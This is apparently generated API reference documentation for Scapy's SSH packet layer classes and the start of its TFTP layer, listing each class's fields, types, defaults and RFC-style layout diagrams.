RFC 4250, 4251, 4252, 4253 and 4254


	
class scapy.layers.ssh.Mpint(_pkt, /, *, length=None, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ssh.py#L99-L106]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ssh.py#L105-L106]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             LENGTH                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|VALU|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. Mpint                            


Mpint fields






	length

	FieldLenField

	None



	value

	BitLenField  (0 bit)

	0















	
class scapy.layers.ssh.NameList(_pkt, /, *, length=None, names=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ssh.py#L89-L96]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ssh.py#L95-L96]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             LENGTH                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             NAMES             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. NameList                           


NameList fields






	length

	FieldLenField

	None



	names

	_ComaStrField

	[]















	
class scapy.layers.ssh.SSH(_pkt, /, *, packet_length=None, padding_length=None, pay=None, random_padding=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ssh.py#L157-L183]

	Bases: Packet


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ssh.py#L172-L176]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         PACKET LENGTH                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| PADDING LENGTH|              PAY              | RANDOM PADDING|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                             Fig. SSH                             


SSH fields






	packet_length

	IntField

	None



	padding_length

	ByteField

	None



	pay

	PacketLenField

	None



	random_padding

	StrLenField

	b''











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ssh.py#L178-L183]

	




	
payload_guess

	Possible sublayers:
SSH










	
class scapy.layers.ssh.SSHCertificate(_pkt, /, *, format_identifier=<SSHString  |>, data=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ssh.py#L225-L232]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ssh.py#L231-L232]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       FORMAT IDENTIFIER       |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. SSHCertificate                        


SSHCertificate fields






	format_identifier

	PacketField

	<SSHString  |>



	data

	_SSHCertificate

	None















	
class scapy.layers.ssh.SSHDisconnect(_pkt, /, *, type=1, reason_code=0, description=<SSHString  |>, language_tag=<SSHString  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ssh.py#L340-L366]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |                  REASON CODE                  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |          DESCRIPTION          |  LANGUAGE TAG |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. SSHDisconnect                        


SSHDisconnect fields






	type

	ByteEnumField

	1



	reason_code

	IntEnumField

	0



	description

	PacketField

	<SSHString  |>



	language_tag

	PacketField

	<SSHString  |>















	
class scapy.layers.ssh.SSHExtInfo(_pkt, /, *, type=7, nr_extensions=None, extensions=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ssh.py#L422-L427]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |         NR EXTENSIONS         |   EXTENSIONS  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                         Fig. SSHExtInfo                          


SSHExtInfo fields






	type

	ByteEnumField

	7



	nr_extensions

	FieldLenField

	None



	extensions

	PacketListField

	[]















	
class scapy.layers.ssh.SSHExtension(_pkt, /, *, extension_name=<SSHString  |>, extension_value=<SSHString  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ssh.py#L412-L419]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ssh.py#L418-L419]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         EXTENSION NAME        |        EXTENSION VALUE        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. SSHExtension                         


SSHExtension fields






	extension_name

	PacketField

	<SSHString  |>



	extension_value

	PacketField

	<SSHString  |>















	
class scapy.layers.ssh.SSHIgnore(_pkt, /, *, type=2, data=<SSHString  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ssh.py#L374-L378]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. SSHIgnore                          


SSHIgnore fields






	type

	ByteEnumField

	2



	data

	PacketField

	<SSHString  |>















	
class scapy.layers.ssh.SSHKexDHInit(_pkt, /, *, type=30, e=<Mpint  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ssh.py#L294-L298]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |               E               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. SSHKexDHInit                         


SSHKexDHInit fields






	type

	ByteEnumField

	30



	e

	PacketField

	<Mpint  |>















	
class scapy.layers.ssh.SSHKexDHReply(_pkt, /, *, type=31, K_S=<SSHString  |>, f=<Mpint  |>, H_hash=<SSHString  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ssh.py#L304-L310]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |              K S              |       F       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |             H HASH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. SSHKexDHReply                        


SSHKexDHReply fields






	type

	ByteEnumField

	31



	K_S

	SSHPacketStringField

	<SSHString  |>



	f

	PacketField

	<Mpint  |>



	H_hash

	SSHPacketStringField

	<SSHString  |>















	
class scapy.layers.ssh.SSHKexInit(_pkt, /, *, type=20, cookie=b'', kex_algorithms=<NameList  |>, server_host_key_algorithms=<NameList  |>, encryption_algorithms_client_to_server=<NameList  |>, encryption_algorithms_server_to_client=<NameList  |>, mac_algorithms_client_to_server=<NameList  |>, mac_algorithms_server_to_client=<NameList  |>, compression_algorithms_client_to_server=<NameList  |>, compression_algorithms_server_to_client=<NameList  |>, languages_client_to_server=<NameList  |>, languages_server_to_client=<NameList  |>, first_kex_packet_follows=0, reserved=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ssh.py#L258-L274]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |                     COOKIE                    |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |         KEX ALGORITHMS        |SERVER HOST KEY|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |ENCRYPTION ALGORITHMS CLIENT TO|ENCRYPTION ALGO|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |MAC ALGORITHMS CLIENT TO SERVER|MAC ALGORITHMS |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |COMPRESSION ALGORITHMS CLIENT T|COMPRESSION ALG|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |   LANGUAGES CLIENT TO SERVER  |LANGUAGES SERVE|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |FIRST KEX PACKE|            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. SSHKexInit                          


SSHKexInit fields






	type

	ByteEnumField

	20



	cookie

	StrFixedLenField

	b''



	kex_algorithms

	PacketField

	<NameList  |>



	server_host_key_algorithms

	PacketField

	<NameList  |>



	encryption_algorithms_client_to_server

	PacketField

	<NameList  |>



	encryption_algorithms_server_to_client

	PacketField

	<NameList  |>



	mac_algorithms_client_to_server

	PacketField

	<NameList  |>



	mac_algorithms_server_to_client

	PacketField

	<NameList  |>



	compression_algorithms_client_to_server

	PacketField

	<NameList  |>



	compression_algorithms_server_to_client

	PacketField

	<NameList  |>



	languages_client_to_server

	PacketField

	<NameList  |>



	languages_server_to_client

	PacketField

	<NameList  |>



	first_kex_packet_follows

	YesNoByteField

	0



	reserved

	IntField

	0















	
class scapy.layers.ssh.SSHNewCompress(_pkt, /, *, type=3)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ssh.py#L435-L438]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |
+-+-+-+-+-+-+-+-+

                       Fig. SSHNewCompress                        


SSHNewCompress fields






	type

	ByteEnumField

	3















	
class scapy.layers.ssh.SSHNewKeys(_pkt, /, *, type=21)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ssh.py#L282-L285]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |
+-+-+-+-+-+-+-+-+

                         Fig. SSHNewKeys                          


SSHNewKeys fields






	type

	ByteEnumField

	21















	
class scapy.layers.ssh.SSHPacketStringField(name, sub_cls)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ssh.py#L76-L86]

	Bases: PacketField


	
m2i(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ssh.py#L83-L86]

	




	
sub_cls

	








	
class scapy.layers.ssh.SSHPublicKey(_pkt, /, *, format_identifier=<SSHString  |>, data=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ssh.py#L235-L242]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ssh.py#L241-L242]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       FORMAT IDENTIFIER       |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. SSHPublicKey                         


SSHPublicKey fields






	format_identifier

	PacketField

	<SSHString  |>



	data

	_SSHPublicKey

	None















	
class scapy.layers.ssh.SSHPublicKeyEd25519(_pkt, /, *, key=<SSHString  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ssh.py#L446-L452]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ssh.py#L451-L452]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              KEY              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. SSHPublicKeyEd25519                     


SSHPublicKeyEd25519 fields






	key

	PacketField

	<SSHString  |>















	
class scapy.layers.ssh.SSHPublicKeyEd448(_pkt, /, *, key=<SSHString  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ssh.py#L458-L464]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ssh.py#L463-L464]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              KEY              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. SSHPublicKeyEd448                      


SSHPublicKeyEd448 fields






	key

	PacketField

	<SSHString  |>















	
class scapy.layers.ssh.SSHServiceAccept(_pkt, /, *, type=6, service_name=<SSHString  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ssh.py#L328-L332]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |          SERVICE NAME         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. SSHServiceAccept                       


SSHServiceAccept fields






	type

	ByteEnumField

	6



	service_name

	PacketField

	<SSHString  |>















	
class scapy.layers.ssh.SSHServiceDebug(_pkt, /, *, type=4, always_display=0, message=<SSHString  |>, language_tag=<SSHString  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ssh.py#L386-L392]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     | ALWAYS DISPLAY|            MESSAGE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          LANGUAGE TAG         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. SSHServiceDebug                       


SSHServiceDebug fields






	type

	ByteEnumField

	4



	always_display

	YesNoByteField

	0



	message

	PacketField

	<SSHString  |>



	language_tag

	PacketField

	<SSHString  |>















	
class scapy.layers.ssh.SSHServiceRequest(_pkt, /, *, type=5, service_name=<SSHString  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ssh.py#L318-L322]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |          SERVICE NAME         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. SSHServiceRequest                      


SSHServiceRequest fields






	type

	ByteEnumField

	5



	service_name

	PacketField

	<SSHString  |>















	
class scapy.layers.ssh.SSHSignature(_pkt, /, *, format_identifier=<SSHString  |>, data=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ssh.py#L245-L252]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ssh.py#L251-L252]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       FORMAT IDENTIFIER       |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. SSHSignature                         


SSHSignature fields






	format_identifier

	PacketField

	<SSHString  |>



	data

	_SSHSignature

	None















	
class scapy.layers.ssh.SSHSignatureEd25519(_pkt, /, *, key=<SSHString  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ssh.py#L470-L476]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ssh.py#L475-L476]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              KEY              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. SSHSignatureEd25519                     


SSHSignatureEd25519 fields






	key

	PacketField

	<SSHString  |>















	
class scapy.layers.ssh.SSHSignatureEd448(_pkt, /, *, key=<SSHString  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ssh.py#L482-L488]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ssh.py#L487-L488]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              KEY              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. SSHSignatureEd448                      


SSHSignatureEd448 fields






	key

	PacketField

	<SSHString  |>















	
class scapy.layers.ssh.SSHString(_pkt, /, *, length=None, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ssh.py#L66-L73]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ssh.py#L72-L73]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             LENGTH                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. SSHString                          


SSHString fields






	length

	FieldLenField

	None



	value

	StrLenField

	0















	
class scapy.layers.ssh.SSHUnimplemented(_pkt, /, *, type=3, seq_num=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ssh.py#L400-L404]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |                    SEQ NUM                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                      Fig. SSHUnimplemented                       


SSHUnimplemented fields






	type

	ByteEnumField

	3



	seq_num

	IntField

	0















	
class scapy.layers.ssh.SSHVersionExchange(_pkt, /, *, lines=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ssh.py#L189-L200]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             LINES             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. SSHVersionExchange                      


SSHVersionExchange fields






	lines

	_SSHHeaderField

	[]











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ssh.py#L199-L200]

	








	
class scapy.layers.ssh.StrCRLFField(name: str, default: I | None, fmt: str = 'H', remain: int = 0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ssh.py#L35-L36]

	Bases: StrNullField


	
DELIMITER = b'\r\n'

	










            

          

      

      

    

  

    
      
          
            
  
scapy.layers.tftp

TFTP (Trivial File Transfer Protocol).


	
class scapy.layers.tftp.TFTP(_pkt, /, *, op=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L25-L27]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               OP              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. TFTP                             


TFTP fields






	op

	ShortEnumField

	1











	
payload_guess

	Possible sublayers:
TFTP_ACK, TFTP_DATA, TFTP_ERROR, TFTP_OACK, TFTP_RRQ, TFTP_WRQ










	
class scapy.layers.tftp.TFTP_ACK(_pkt, /, *, block=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L77-L89]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L81-L86]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             BLOCK             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. TFTP_ACK                           


TFTP_ACK fields






	block

	ShortField

	0











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L88-L89]

	








	
class scapy.layers.tftp.TFTP_DATA(_pkt, /, *, block=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L54-L62]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L58-L59]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             BLOCK             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. TFTP_DATA                          


TFTP_DATA fields






	block

	ShortField

	0











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L61-L62]

	








	
class scapy.layers.tftp.TFTP_ERROR(_pkt, /, *, errorcode=0, errormsg=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L104-L113]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L109-L110]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ERRORCODE           |            ERRORMSG           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. TFTP_ERROR                          


TFTP_ERROR fields






	errorcode

	ShortEnumField

	0



	errormsg

	StrNullField

	b''











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L112-L113]

	








	
